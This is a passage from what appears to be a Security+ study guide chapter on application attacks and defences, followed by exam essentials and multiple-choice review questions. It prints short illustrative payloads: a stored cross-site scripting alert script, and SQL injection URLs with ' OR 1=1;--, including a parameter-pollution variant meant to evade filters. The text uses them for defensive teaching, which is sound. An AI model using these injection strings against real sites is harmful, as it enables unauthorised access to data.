reflected input, but this isn't the only way that the attacks might take place. Another common technique is to store cross-site scripting code on a remote web server in an approach known as stored XSS. These attacks are described as persistent because they remain on the server even when the attacker isn't actively waging an attack. As an example, consider a message board that allows users to post messages that contain HTML code. This is very common because users may want to use HTML to add emphasis to their posts. For example, a user might use this HTML code in a message board posting: Hello everyone, I am planning an upcoming trip to Citi Field to see the Mets take on the Yankees in the Subway Series. Does anyone have suggestions for transportation? I am staying in Manhattan and am only interested in public transportation options. Thanks! Mike When displayed in a browser, the HTML tags would alter the appearance of the message, as shown in Figure 6.12. FIGURE 6.12 Message board post rendered in a browser An attacker seeking to conduct a cross-site scripting attack could try to insert an HTML script in this code. For example, they might enter this code: Hello everyone, I am planning an upcoming trip to Citi Field to see the Mets take on the Yankees in the Subway Series. Does anyone have suggestions for transportation? I am staying in Manhattan and am only interested in public transportation options. Thanks! Mike alert('Cross-site scripting!') When future users load this message, they would then see the alert pop-up shown in Figure 6.13. This is fairly innocuous, but an XSS attack could also be used to redirect users to a phishing site, request sensitive information, or perform another attack. FIGURE 6.13 XSS attack rendered in a browser Request Forgery Request forgery attacks exploit trust relationships and attempt to have users unwittingly execute commands against a remote server. They come in two forms: cross-site request forgery and server-side request forgery. Cross-Site Request Forgery (CSRF/XSRF) Cross-site request forgery attacks, abbreviated as XSRF or CSRF attacks, are similar to cross-site scripting attacks but exploit a different trust relationship. XSS attacks exploit the trust that a user has in a website to execute code on the user's computer. XSRF attacks exploit the trust that remote sites have in a user's system to execute commands on the user's behalf. XSRF attacks work by making the reasonable assumption that users are often logged into many different websites at the same time. Attackers then embed code in one website that sends a command to a second website. When the user clicks the link on the first site, they are unknowingly sending a command to the second site. If the user happens to be logged into that second site, the command may succeed. Consider, for example, an online banking site. An attacker who wants to steal funds from user accounts might go to an online forum and post a message containing a link. That link actually goes directly into the money transfer site that issues a command to transfer funds to the attacker's account. The attacker then leaves the link posted on the forum and waits for an unsuspecting user to come along and click the link. If the user happens to be logged into the banking site, the transfer succeeds. Developers should protect their web applications against XSRF attacks. One way to do this is to create web applications that use secure tokens that the attacker would not know to embed in the links. Another safeguard is for sites to check the referring URL in requests received from end users and only accept requests that originated from their own site. Server-Side Request Forgery (SSRF) Server-side request forgery (SSRF) attacks exploit a similar vulnerability but instead of tricking a user's browser into visiting a URL, they trick a server into visiting a URL based on user-supplied input. SSRF attacks are possible when a web application accepts URLs from a user as input and then retrieves information from that URL. If the server has access to nonpublic URLs, an SSRF attack can unintentionally disclose that information to an attacker. Application Security Controls Although the many vulnerabilities affecting applications are a significant source of concern for cybersecurity professionals, the good news is that a number of tools are available to assist in the development of a defense-in-depth approach to security. Through a combination of secure coding practices and security infrastructure tools, cybersecurity professionals can build robust defenses against application exploits. Input Validation Cybersecurity professionals and application developers have several tools at their disposal to help protect against application vulnerabilities. The most important of these is input validation. Applications that allow user input should perform validation of that input to reduce the likelihood that it contains an attack. Improper input handling practices can expose applications to injection attacks, cross-site scripting attacks, and other exploits. The most effective form of input validation uses allow listing, in which the developer describes the exact type of input that is expected from the user and then verifies that the input matches that specification before passing the input to other processes or servers. For example, if an input form prompts a user to enter their age, allow listing could verify that the user supplied an integer value within the range 0–125. The application would then reject any values outside that range. Exam Note Remember that input validation helps prevent a wide range of problems, from cross-site scripting (XSS) to SQL injection attacks. When performing input validation, it is very important to ensure that validation occurs server-side rather than within the client's browser. Client-side validation is useful for providing users with feedback on their input, but it should never be relied on as a security control. It's easy for hackers and penetration testers to bypass browser-based input validation. It is often difficult to perform allow listing because of the nature of many fields that allow user input. For example, imagine a classified ad application that allows users to input the description of a product that they wish to list for sale. It would be difficult to write logical rules that describe all valid submissions to that field that would also prevent the insertion of malicious code. In this case, developers might use deny listing to control user input. With this approach, developers do not try to explicitly describe acceptable input but instead describe potentially malicious input that must be blocked. For example, developers might restrict the use of HTML tags or SQL commands in user input. When performing input validation, developers must be mindful of the types of legitimate input that may appear in a field. For example, completely disallowing the use of a single quote (') may be useful in protecting against SQL injection attacks, but it may also make it difficult to enter last names that include apostrophes, such as O'Brien. Parameter Pollution Input validation techniques are the go-to standard for protecting against injection attacks. However, it's important to understand that attackers have historically discovered ways to bypass almost every form of security control. Parameter pollution is one technique that attackers have successfully used to defeat input validation controls. Parameter pollution works by sending a web application more than one value for the same input variable. For example, a web application might have a variable named account that is specified in a URL like this: www.mycompany.com/status.php?account=12345 An attacker might try to exploit this application by injecting SQL code into the application: www.mycompany.com/status.php?account=12345' OR 1=1;-- However, this string looks quite suspicious to a web application firewall and would likely be blocked. An attacker seeking to obscure the attack and bypass content filtering mechanisms might instead send a command with two different values for account: www.mycompany.com/status.php?account=12345&account=12345' OR 1=1;-- This approach relies on the premise that the web platform won't handle this URL properly. It might perform input validation on only the first argument but then execute the second argument, allowing the injection attack to slip through the filtering technology. Parameter pollution attacks depend on defects in web platforms that don't handle multiple copies of the same parameter properly. These vulnerabilities have been around for a while, and most modern platforms are defended against them, but successful parameter pollution attacks still occur today due to unpatched systems or insecure custom code. Web Application Firewalls Web application firewalls (WAFs) also play an important role in protecting web applications against attack. Though developers should always rely on input validation as their primary defense against injection attacks, the reality is that applications still sometimes contain injection flaws. This can occur when developer testing is insufficient or when vendors do not promptly supply patches to vulnerable applications. WAFs function similarly to network firewalls, but they work at the Application layer. A WAF sits in front of a web server, as shown in Figure 6.14, and receives all network traffic headed to that server. It then scrutinizes the input headed to the application, performing input validation before passing the input to the web server. This prevents malicious traffic from ever reaching the web server and acts as an important component of a layered defense against web application vulnerabilities. FIGURE 6.14 Web application firewall Parameterized Queries Parameterized queries offer another technique to protect applications against injection attacks. In a parameterized query, the client does not directly send SQL code to the database server. Instead, the client sends arguments to the server, which then inserts those arguments into a precompiled query template. This approach protects against injection attacks and also improves database performance. Stored procedures are an example of an implementation of parameterized queries used by some database platforms. Sandboxing Sandboxing is the practice of running an application in a controlled or isolated environment to prevent it from interacting negatively with other system resources or applications. This technique is particularly effective in mitigating the impact of any potential threats or vulnerabilities that might emerge from the application. In a sandboxed environment, an application operates with restricted permissions and access to system resources. For instance, a sandboxed application may be limited in its ability to read/write files, interact with the operating system, or communicate with other applications. This reduces the possibility of a malicious application or a compromised one from causing broader damage to the system. This method of isolation can be particularly useful when testing new or untrusted software. If the software proves to be malicious or simply unstable, it can be easily contained and removed without affecting the overall system. Furthermore, sandboxing is a great tool for developers, enabling them to debug and test code in a safe, controlled environment before deploying it into production. Exam Note Sandboxes are isolation tools used to contain attackers within an environment where they believe they are conducting an attack but, in reality, are operating in a benign environment. Code Security Software developers should also take steps to safeguard the creation, storage, and delivery of their code. They do this through a variety of techniques. Code Signing Code signing provides developers with a way to confirm the authenticity of their code to end users. Developers use a cryptographic function to digitally sign their code with their own private key and then browsers can use the developer's public key to verify that signature and ensure that the code is legitimate and was not modified by unauthorized individuals. In cases where there is a lack of code signing, users may inadvertently run inauthentic code. Code signing protects against malicious updates, where an attacker attempts to deploy a fake patch that actually undermines the security of an application or operating system. If systems only accept digitally signed updates, a malicious update would fail that check and be rejected by the target system. Code Reuse Many organizations reuse code not only internally but by making use of third-party software libraries and software development kits (SDKs). Third-party software libraries are a common way to share code among developers. Libraries consist of shared code objects that perform related functions. For example, a software library might contain a series of functions related to biology research, financial analysis, or social media. Instead of having to write the code to perform every detailed function they need, developers can simply locate libraries that contain relevant functions and then call those functions. Organizations trying to make libraries more accessible to developers often publish SDKs. SDKs are collections of software libraries combined with documentation, examples, and other resources designed to help programmers get up and running quickly in a development environment. SDKs also often include specialized utilities designed to help developers design and test code. Organizations may also introduce third-party code into their environments when they outsource code development to other organizations. Security teams should ensure that outsourced code is subjected to the same level of testing as internally developed code. Security professionals should be familiar with the various ways that third-party code is used in their organizations as well as the ways that their organization makes services available to others. It's fairly common for security flaws to arise in shared code, making it extremely important to know these dependencies and remain vigilant about security updates. Software Diversity Security professionals seek to avoid single points of failure in their environments to avoid availability risks if an issue arises with a single component. This is also true for software development. Security professionals should watch for places in the organization that are dependent on a single piece of source code, binary executable files, or compilers. Though eliminating all of these dependencies may not be possible, tracking them is a critical part of maintaining a secure codebase. Code Repositories Code repositories are centralized locations for the storage and management of application source code. The main purpose of a code repository is to store the source files used in software development in a centralized location that allows for secure storage and the coordination of changes among multiple developers. Code repositories also perform version control, allowing the tracking of changes and the rollback of code to earlier versions when required. Basically, code repositories perform the housekeeping work of software development, making it possible for many people to share work on a large software project in an organized fashion. They also meet the needs of security and auditing professionals who want to ensure that software development includes automated auditing and logging of changes. By exposing code to all developers in an organization, code repositories promote code reuse. Developers seeking code to perform a particular function can search the repository for existing code and reuse it rather than start from ground zero. Code repositories also help avoid the problem of dead code, where code is in use in an organization but nobody is responsible for the maintenance of that code and, in fact, nobody may even know where the original source files reside. Integrity Measurement Code repositories are an important part of application security but are only one aspect of code management. Cybersecurity teams should also work hand in hand with developers and operations teams to ensure that applications are provisioned and deprovisioned in a secure manner through the organization's approved release management process. This process should include code integrity measurement. Code integrity measurement uses cryptographic hash functions to verify that the code being released into production matches the code that was previously approved. Any deviation in hash values indicates that code was modified, either intentionally or unintentionally, and requires further investigation prior to release. Application Resilience When we design applications, we should create them in a manner that makes them resilient in the face of changing demand. We do this through the application of two related principles: Scalability says that applications should be designed so that computing resources they require may be incrementally added to support increasing demand. Elasticity goes a step further than scalability and says that applications should be able to provision resources automatically to scale when necessary and then automatically deprovision those resources to reduce capacity (and cost) when it is no longer needed. Secure Coding Practices A multitude of development styles, languages, frameworks, and other variables may be involved in the creation of an application, but many of the security issues are the same regardless of which you use. In fact, despite many development frameworks and languages providing security features, the same security problems continue to appear in applications all the time! Fortunately, a number of common best practices are available that you can use to help ensure software security for your organization. Source Code Comments Comments are an important part of any good developer's workflow. Placed strategically throughout code, they provide documentation of design choices, explain workflows, and offer details crucial to other developers who may later be called on to modify or troubleshoot the code. When placed in the right hands, comments are crucial. However, comments can also provide attackers with a roadmap explaining how code works. In some cases, comments may even include critical security details that should remain secret. Developers should take steps to ensure that commented versions of their code remain secret. In the case of compiled code, this is unnecessary, as the compiler automatically removes comments from executable files. However, web applications that expose their code may allow remote users to view comments left in the code. In those environments, developers should remove comments from production versions of the code before deployment. It's fine to leave the comments in place for archived source code as a reference for future developers—just don't leave them accessible to unknown individuals on the Internet! Error Handling Attackers thrive on exploiting errors in code. Developers must understand this and write their code so that it is resilient to unexpected situations that an attacker might create in order to test the boundaries of code. For example, if a web form requests an age as input, it's insufficient to simply verify that the age is an integer. Attackers might enter a 50,000-digit integer in that field in an attempt to perform an integer overflow attack. Developers must anticipate unexpected situations and write error handling code that steps in and handles these situations in a secure fashion. Improper error handling may expose code to unacceptable levels of risk. If you're wondering why you need to worry about error handling when you already perform input validation, remember that cybersecurity professionals embrace a defense-in- depth approach to security. For example, your input validation routine might itself contain a flaw that allows potentially malicious input to pass through to the application. Error handling serves as a secondary control in that case, preventing the malicious input from triggering a dangerous error condition. On the flip side of the error handling coin, overly verbose error handling routines may also present risk. If error handling routines explain too much about the inner workings of code, they may allow an attacker to find a way to exploit the code. For example, Figure 6.15 shows an error message appearing on a French website that contains details of the SQL query used to create the web page. You don't need to speak French to understand that this could allow an attacker to determine the table structure and attempt a SQL injection attack! FIGURE 6.15 SQL error disclosure Hard-Coded Credentials In some cases, developers may include usernames and passwords in the source code. There are two variations of this error. First, the developer may create a hard-coded maintenance account for the application that allows the developer to regain access even if the authentication system fails. This is known as a backdoor vulnerability and is problematic because it allows anyone who knows the backdoor password to bypass normal authentication and gain access to the system. If the backdoor becomes publicly (or privately!) known, all copies of the code in production are compromised. The second variation of hard-coding credentials occurs when developers include access credentials for other services within their source code. If that code is intentionally or accidentally disclosed, those credentials then become known to outsiders. This occurs quite often when developers accidentally publish code to a public code repository, such as GitHub, that contains API keys or other hard- coded credentials. Package Monitoring Modern development environments often rely heavily on third-party libraries and packages. Developers often use them to save time and effort, but this practice can introduce vulnerabilities if those libraries contain insecure code or become compromised. Package monitoring involves keeping track of all the third-party libraries or packages used in your organization, understanding what they do, and being aware of any potential vulnerabilities they may have. It includes regularly updating these dependencies to ensure you are using the most secure, up-to-date versions of third-party packages. Automated tools can help with this process by identifying outdated or insecure dependencies and notifying developers when updates or patches become available. It’s also important to understand the trustworthiness and reputation of the sources of these packages. Using a package from an untrusted source can lead to introducing vulnerabilities into your application. Only trusted repositories should be used, and any suspicious activity related to a package should be investigated thoroughly. Memory Management Applications are often responsible for managing their own use of memory, and in those cases, poor memory management practices can undermine the security of the entire system. Resource Exhaustion One of the issues that we need to watch for with memory or any other limited resource on a system is resource exhaustion. Whether intentional or accidental, systems may consume all of the memory, storage, processing time, or other resources available to them, rendering the system disabled or crippled for other uses. Memory leaks are one example of resource exhaustion. If an application requests memory from the operating system, it will eventually no longer need that memory and should then return the memory to the operating system for other uses. In the case of an application with a memory leak, the application fails to return some memory that it no longer needs, perhaps by simply losing track of an object that it has written to a reserved area of memory. If the application continues to do this over a long period of time, it can slowly consume all the memory available to the system, causing it to crash. Rebooting the system often resets the problem, returning the memory to other uses, but if the memory leak isn't corrected, the cycle simply begins anew. Pointer Dereferencing Memory pointers can also cause security issues. Pointers are a commonly used concept in application development. They are simply an area of memory that stores an address of another location in memory. For example, we might have a pointer called photo that contains the address of a location in memory where a photo is stored. When an application needs to access the actual photo, it performs an operation called pointer dereferencing. This simply means that the application follows the pointer and accesses the memory referenced by the pointer address. There's nothing unusual with this process. Applications do it all the time. One particular issue that might arise is if the pointer is empty, containing what programmers call a null value. If the application tries to dereference this null pointer, it causes a condition known as a null pointer exception. In the best case, a null pointer exception causes the program to crash, providing an attacker with access to debugging information that may be used for reconnaissance of the application's security. In the worst case, a null pointer exception may allow an attacker to bypass security controls. Security professionals should work with application developers to help them avoid these issues. Buffer Overflows Buffer overflow attacks occur when an attacker manipulates a program into placing more data into an area of memory than is allocated for that program's use. The goal is to overwrite other information in memory with instructions that may be executed by a different process running on the system. This technique of maliciously inserting information into memory is known as memory injection, and it is the primary goal of a buffer overflow attack. Buffer overflow attacks are quite commonplace and tend to persist for many years after they are initially discovered. In a recent study of breaches, four of the top 10 issues causing breaches were exploits of overflow vulnerabilities that were between 12 and 16 years old! One of the listed vulnerabilities is an “integer overflow.” This is simply a variant of a buffer overflow where the result of an arithmetic operation attempts to store an integer that is too large to fit in the specified buffer. Cybersecurity analysts discovering a buffer overflow vulnerability during a vulnerability scan should seek out a patch that corrects the issue. In most cases, the scan report will directly identify an available patch. Race Conditions Race conditions occur when the security of a code segment depends upon the sequence of events occurring within the system. You should be familiar with three important terms related to race conditions: Time-of-Check (TOC) is the instance when a system verifies access permissions or other security controls. Time-of-Use (TOU) is the moment when the system accesses the resource or uses the permission that was granted. The Target of Evaluation (TOE) refers to the particular component, system, or mechanism being evaluated or tested for potential vulnerabilities, such as the system's method of managing and validating access permissions. A Time-of-Check-to-Time-of-Use (TOCTTOU or TOC/TOU) issue is a type of race condition that occurs when a program checks access permissions too far ahead of a resource request. For example, if an operating system builds a comprehensive list of access permissions for a user upon logon and then consults that list throughout the logon session, a TOCTTOU vulnerability exists. If the systems administrator revokes a particular permission, that restriction would not be applied to the user until the next time they log on. If the user is logged on when the access revocation takes place, they will have access to the resource indefinitely. The user simply needs to leave the session open for days, and the new restrictions will never be applied. To prevent this race condition, the developer should evaluate access permissions at the time of each request rather than caching a listing of permissions. Exam Note Buffer overflow vulnerabilities attempt to use more space than is allocated for a purpose and allow the attacker to perform memory injection, inserting their own content into sensitive memory locations. Race conditions occur when the security of a code segment depends on the sequence of events occurring within the system. Unprotected APIs Organizations often want other developers to build on the platforms that they have created. For example, Twitter and Facebook might want to allow third-party application developers to create apps that post content to the user's social media feeds. To enable this type of innovation, services often create application programming interfaces (APIs) that enable automated access. If not properly secured, unprotected APIs may lead to the unauthorized use of functions. For example, an API that does not use appropriate authentication may allow anyone with knowledge of the API URLs to modify a service. APIs that are not intended for public use should always be secured with an authentication mechanism, such as an API key, and accessed only over encrypted channels that protect those credentials from eavesdropping attacks. Automation and Orchestration Standardizing tasks also helps you identify opportunities for automation. You may be able to go beyond standardizing the work of team members and automate some responses to take people out of the loop entirely. Security orchestration, automation, and response (SOAR) platforms provide many opportunities to automate security tasks that cross between multiple systems. You may wish to coordinate with other members of your team, taking an inventory of all the activities performed by the team and identifying those that are suitable for automation. The two key characteristics of processes that can be automated are that they are both repeatable and do not require human interaction. Once you have automations in place, you'll just need to coordinate with your team to manage existing automations and facilitate the adoption of new automations. SOAR platforms also offer opportunities to improve your organization's use of threat intelligence. By bringing information about emerging threats into your SOAR platform, you can enrich data about ongoing incidents and improve your ability to react to emerging cybersecurity situations. The SOAR platform provides you with the opportunity to combine information received through multiple threat feeds and develop a comprehensive picture of the cybersecurity landscape and your security posture. Cybersecurity professionals also use scripting to achieve their automation goals. Scripting languages, such as Python, Bash, or PowerShell, can be instrumental in automating repetitive tasks and streamlining security operations. For instance, scripts can be written to automate log analysis, network scanning, or alert responses, thereby minimizing manual intervention and increasing the efficiency of your security team. Use Cases of Automation and Scripting In the ever-evolving landscape of cybersecurity, automation and scripting are powerful tools that can significantly improve efficiency and security. This section presents a number of practical use cases where these tools can be applied in various aspects of IT operations. User provisioning: Automated scripts can handle the process of adding, modifying, or removing user access to systems and networks, reducing manual efforts and human error. Resource provisioning: Scripts can automate the allocation and deallocation of system resources, ensuring optimal performance and reducing the burden on IT staff. Guard rails: Automation can be employed to enforce policy controls and prevent violations of security protocols. Security groups: Automated processes can manage security group memberships, ensuring users have appropriate permissions. Ticket creation: Automation can streamline the ticketing process, enabling immediate creation and routing of issues to the right teams. Escalation: In case of a major incident, scripts can automate the escalation process, alerting key personnel quickly. Enabling/disabling services and access: Automation can be used to turn services or access on or off based on certain triggers or conditions. Continuous integration and testing: Scripts can automate the build and test process, ensuring faster and more reliable software delivery. Integrations and APIs: Automated processes can handle data exchange between different software applications through APIs, enhancing interoperability. Benefits of Automation and Scripting Embracing automation and scripting in cybersecurity practices comes with a host of benefits. These advantages range from enhancing operational efficiency and enforcing security standards to reducing reaction time and aiding in workforce management. Let's look at some of the key benefits of automation and scripting: Achieving efficiency and time savings: Automation reduces manual tasks, allowing team members to focus on higher-level tasks. Enforcing baselines: Automation ensures consistent application of security baselines across systems and networks. Standardizing infrastructure configurations: Scripts can automate the process of configuring systems, ensuring uniformity and reducing errors. Scaling in a secure manner: Automation supports rapid scaling of infrastructure while maintaining security controls. Retaining employees: Automation of mundane tasks can increase job satisfaction and employee retention. Reducing reaction time: Automated alerts and responses can significantly reduce the time to react to security incidents. Serving as a workforce multiplier: Automation increases the capacity of your team by handling repetitive tasks, effectively acting as a force multiplier. Other Considerations While the benefits of automation and scripting are significant, it's also essential to be aware of potential challenges or considerations that might arise during the implementation process. Here are some of the important considerations: Complexity: While automation can simplify many processes, the development and management of automation scripts can be complex and require a high level of technical skill. Cost: Implementing automation and scripting often involves upfront costs, including investment in tools, training, and potentially new staff members with specific expertise. Single point of failure: Over-reliance on automation might lead to a single point of failure where one malfunctioning script or process could impact a significant part of your operations. Technical debt: Over time, as systems evolve and change, automated scripts might become outdated or inefficient, creating a form of “technical debt” that needs to be addressed. Ongoing supportability: Maintaining and updating scripts to ensure they remain effective and compatible with your systems is a continual task that requires dedicated resources. While automation and scripting offer powerful tools for enhancing cybersecurity, it's important to carefully consider these potential challenges alongside the benefits described in the previous section. With proper planning and management, you can mitigate these risks and maximize the benefits of automation in your cybersecurity operations. Exam Note The use cases, benefits, and other considerations for automation and scripting listed in the previous sections are taken directly from the Security+ exam objectives. These bulleted lists are good material to memorize as you prepare for the exam! Summary Software plays an integral role in every organization, performing tasks ranging from financial transactions to the management of sensitive physical infrastructure components. Cybersecurity professionals must ensure that the software used in their environment undergoes rigorous testing to determine whether it meets business requirements and does not expose the organization to serious cybersecurity risks. Achieving this goal requires a strong understanding of the different types of vulnerabilities that may arise in source code and in the deployment of client-server and web applications. In this chapter, you learned about many of these vulnerabilities and the tools used to manage software security risks. Exam Essentials Understand secure software development concepts. Software should be created using a standardized software development life cycle that moves software through development, test, staging, and production environments. Developers should understand the issues associated with code reuse and software diversity. Web applications should be developed in alignment with industry-standard principles such as those developed by the Open Worldwide Application Security Project (OWASP). Know how to analyze the indicators associated with application attacks. Software applications may suffer from a wide range of vulnerabilities that make them susceptible to attack. You should be familiar with these attacks, including memory injection, buffer overflow, and race condition attacks. You should also understand web-specific attacks, such as Structured Query Language injection (SQLi) and cross-site scripting (XSS). Understanding the methods behind these attacks helps security professionals build adequate defenses and identify attacks against their organizations. Know how to implement application security controls. Application security should be at the forefront of security operations principles. This includes protecting code through the use of input validation. Web applications that rely on cookies for session management should secure those cookies through the use of transport encryption. Code should be routinely subjected to code review as well as static and dynamic testing. Code signing provides end users with assurance that code came from a trusted source. Sandboxing allows the testing of code in an isolated environment. Explain the common benefits and drawbacks of automation and scripting related to secure operations. The main benefits of automation are achieving efficiency and saving time, enforcing baselines, standardizing infrastructure configurations, scaling in a secure manner, retaining employees, lowering reaction times, and serving as a workforce multiplier. The main drawbacks are complexity, cost, creating a single point of failure, building up technical debt, and maintaining ongoing supportability. Explain common use cases of automation and scripting for cybersecurity. Security professionals use automation and scripting techniques in many different use cases. These include user and resource provisioning, creating guard rails, managing security groups, creating and escalating tickets, enabling and disabling services and access, performing continuous integration and testing, and making use of application programming interfaces (APIs). Review Questions 1. Adam is conducting software testing by reviewing the source code of the application. What type of code testing is Adam conducting? A. Mutation testing B. Static code analysis C. Dynamic code analysis D. Fuzzing 2. Charles is worried about users conducting SQL injection attacks. Which of the following solutions will best address his concerns? A. Using secure session management B. Enabling logging on the database C. Performing user input validation D. Implementing TLS 3. Precompiled SQL statements that only require variables to be input are an example of what type of application security control? A. Parameterized queries B. Encoding data C. Input validation D. Appropriate access controls 4. During a web application test, Ben discovers that the application shows SQL code as part of an error provided to application